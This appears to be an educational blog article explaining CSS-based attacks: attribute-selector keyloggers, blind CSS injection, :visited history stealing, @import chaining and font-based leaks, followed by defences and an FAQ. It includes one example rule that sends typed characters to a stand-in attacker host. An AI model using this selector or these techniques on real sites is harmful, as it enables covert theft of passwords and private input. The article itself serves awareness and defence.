CSS Attacks

When you think about web security, CSS is probably the last thing on your mind. It is just styling, right? Colors, fonts, layouts. What could possibly be dangerous about that?

Plenty, as it turns out.

Attackers have figured out how to weaponized CSS. They are using it to steal data, track users, and even capture keystrokes, all without a single line of JavaScript. CSS has evolved from a simple styling language into something almost like a programming language for attackers.

Let me show you how this works.

Disclaimer

This article is intended for educational and defensive purposes only. The techniques described here are provided to help security professionals understand emerging threats so they can better protect their systems.

Do not use these techniques against systems you do not own or do not have explicit written permission to test. Unauthorized testing is illegal in most jurisdictions and violates computer fraud and abuse laws.

What Are CSS Attacks?

CSS attacks are techniques that use cascading style sheets to extract sensitive information from websites or users. The scary thing is that these attacks can be successful even when JavaScript is disabled. Security measures target script blocking, but totally ignore CSS.

The attack surface is massive. Email clients, webmail services, browsers, and even some desktop applications all parse CSS. Wherever CSS is rendered, attackers can potentially exploit it.

These attacks are not theoretical. Researchers in security have tested them in actual cases, and they are currently being used by attackers.

The CSS Keylogger

This is one of the most surprising CSS attacks. Attackers can build a keylogger using nothing but CSS.

Here is how it works. The browser uses styling in relation to the value of the input box by the user. This is how the attacker can exploit attribute selectors in detecting certain characters typed.

This is achieved through something similar to:

input[value^="a"] {
    background: url("https://attacker.com/a");
}

Every time the user types a character, the browser sends a request to the attacker's server with that character. The attacker can reconstruct the entire password, credit card number, or private message character by character.

This is possible due to the ability of CSS selectors to match the values of the attributes partially. The browser checks the input field value, and if it matches, then applies a certain style. This style causes the browser to make a request to the server.

No JavaScript required. No user interaction beyond typing. Just pure CSS stealing data.

Blind CSS Injection

Blind CSS injection is a more sophisticated attack. CSS is injected by the attacker into the web page and later on observes the rendering process of the page and extracts the necessary information.

This can be better explained by taking the example of comments area where HTML can be posted by the users. Here the attacker injects CSS code into the comment which will query the page for certain attributes.

The attacker can use CSS selectors to check if the user has visited specific pages, if they have certain cookies set, or if they are logged into particular services. This is called history stealing, and it has been a known issue for years.

In 2018, a proof of concept showed that websites could use CSS to track browser history. The attack was simple but effective. It worked by styling visited links differently from unvisited links.

Even though browsers have tried to mitigate this, clever attackers keep finding ways around the restrictions.

CSS Email Attacks

Email clients are particularly vulnerable to CSS attacks.There are still many email clients that support CSS, and there have been many innovative attempts to exploit it.

A frequently used method for such exploitation is the use of CSS for tracking if the email was opened by the recipient. The attacker adds a remote image in the email which will be fetched upon opening the email. When the user opens it, the email client fetches the image, and the attacker knows the email was read.

But it gets worse. Attackers can use CSS to interact with the email content itself. They can use attribute selectors to probe the user's email address, detect if the email was forwarded, or even change the appearance of the email to trick the user into clicking malicious links.

Email filters are notoriously bad at detecting CSS attacks. They look for suspicious JavaScript or executable attachments, but they ignore CSS styling. Attackers know this, and they exploit it.

CSS History Stealing

Browsers have long struggled with the history stealing problem. Websites want to know which pages you have visited, and CSS provides a way to find out.

The classic technique uses the :visited pseudo-class. When a link is styled differently for visited and unvisited states, the attacker can detect which links you have clicked.

Browsers have tried to lock this down. Modern browsers restrict what styles can be applied to visited links. But attackers are resourceful. They find new ways to leak the information.

In some cases, attackers use timing attacks. They load several links and time how much time it takes to display them on the browser. The difference in the timing tells whether the link is visited or not.

CSS Import Chaining

This is a more advanced technique that attackers use to exfiltrate data. Through chaining several @import statements, they can establish a binary search channel.

This is how it’s done. The attacker will generate some CSS files. These files will be loaded in case the page contains particular elements or attributes. It’s easy to track which of the files has been loaded by the web browser.

By carefully designing the import chain, the attacker can extract large amounts of data. Each import reveals one bit of information, and the sequence reveals the entire payload.

This is especially helpful since it works with different web browsers and different email clients. It’s slow but stable.

CSS Conditionals and Logic

CSS may not be considered a programming language, yet it has enough logic in order to help attackers. There are conditional statements in CSS, cascading statements and even some arithmetic capabilities.

The conditional statements in CSS can be used by attackers to form decision trees. For example, they might test if an element has a specific class, then apply a style that triggers an external request. It is essentially the same as a conditional statement in JavaScript.

In addition, the cascading feature of CSS makes it possible for attackers to write rules that only apply when certain conditions are met. These rules could query the document structure and even leak sensitive information.

The Hidden Dangers of Fonts

Fonts are another way of attacking using CSS. The font can be customized by the attacker for monitoring keystrokes and actions of the user.

For example, the attacker can design a font that will be loaded depending on particular criteria. When the font is loaded, the attacker is sure that such criteria are fulfilled, just like in the case of using a background image but more sophisticated.

Fonts also provide timing information about loading. This time can show whether the font was cached previously.

Why This Matters

CSS attacks matter because they bypass many traditional security defenses. Organizations spend millions on securing JavaScript and blocking malicious scripts. They forget about CSS entirely.

The attack surface is growing. Web applications are becoming more interactive, and CSS is becoming more powerful. Attackers are taking notice.

The recent industry and academic attention to CSS attacks shows that this is a serious problem. Researchers have demonstrated practical attacks, and attackers are actively using them in the wild.

What You Can Do

Here are practical steps to defend against CSS attacks:

• Prevent the usage of remote resources. Prevent remote images and fonts loading in emails. This way, the attack will not get any exfiltration request.
• Sanitize user-provided CSS. If users are allowed to submit CSS, then use an allowlist to strip suspicious selectors and attributes.
• Implement Content Security Policy. Implement CSP directive for identifying types of allowed resources.
• Detect any unusual activity in the CSS code. Detect any suspicious loading of CSS or selector using user input.
• Install the latest versions of browsers and email clients. These new versions may be equipped with protection from CSS attacks.
• Assume CSS is dangerous. When evaluating security risks, include CSS in your threat model. It is not just styling anymore.

The Bottom Line

CSS attacks have come a long way from simple history stealing. Attackers are using CSS to build keyloggers, exfiltrate data, and track users. They are using it to bypass traditional security controls that focus on JavaScript.

CSS has become almost like a programming language for attackers. It has conditionals, cascading rules, and enough logic to steal sensitive information.

The security community is waking up to this threat. Academic research and industry attention are increasing. But the attackers are not waiting. They are already using these techniques in the wild.

Your best defense is awareness. Understand that CSS is not just styling. It is a potential attack vector.

FAQ Section

Can CSS really steal data?

Yes. The attackers can leverage on CSS for harvesting data through methods like attribute selectors, blind injection and import chains. It can be done without the need for any JavaScript and still manage to harvest sensitive data.

What is a CSS keylogger?

The CSS keylogger takes advantage of attribute selectors to check if certain characters have been entered. Every character will generate a connection with the attackers' server.

Are Email Clients Vulnerable to CSS Attacks?

Yes, since many email clients support the use of CSS styles, making them vulnerable to different types of attacks including exfiltration and tracking.

How Do I Protect from CSS Attacks?

Disable remote resources in email clients, sanitize user-supplied CSS, use Content Security Policy, and monitor for unusual CSS activity.

A new form of attack?

There have been attacks using CSS for some time now, but they are becoming more advanced. Some of the new techniques are blind injections and import chaining.

What makes CSS attacks so dangerous?

CSS attacks are not detected by standard forms of protection used for JavaScript code. They are ignored and can steal data undetected.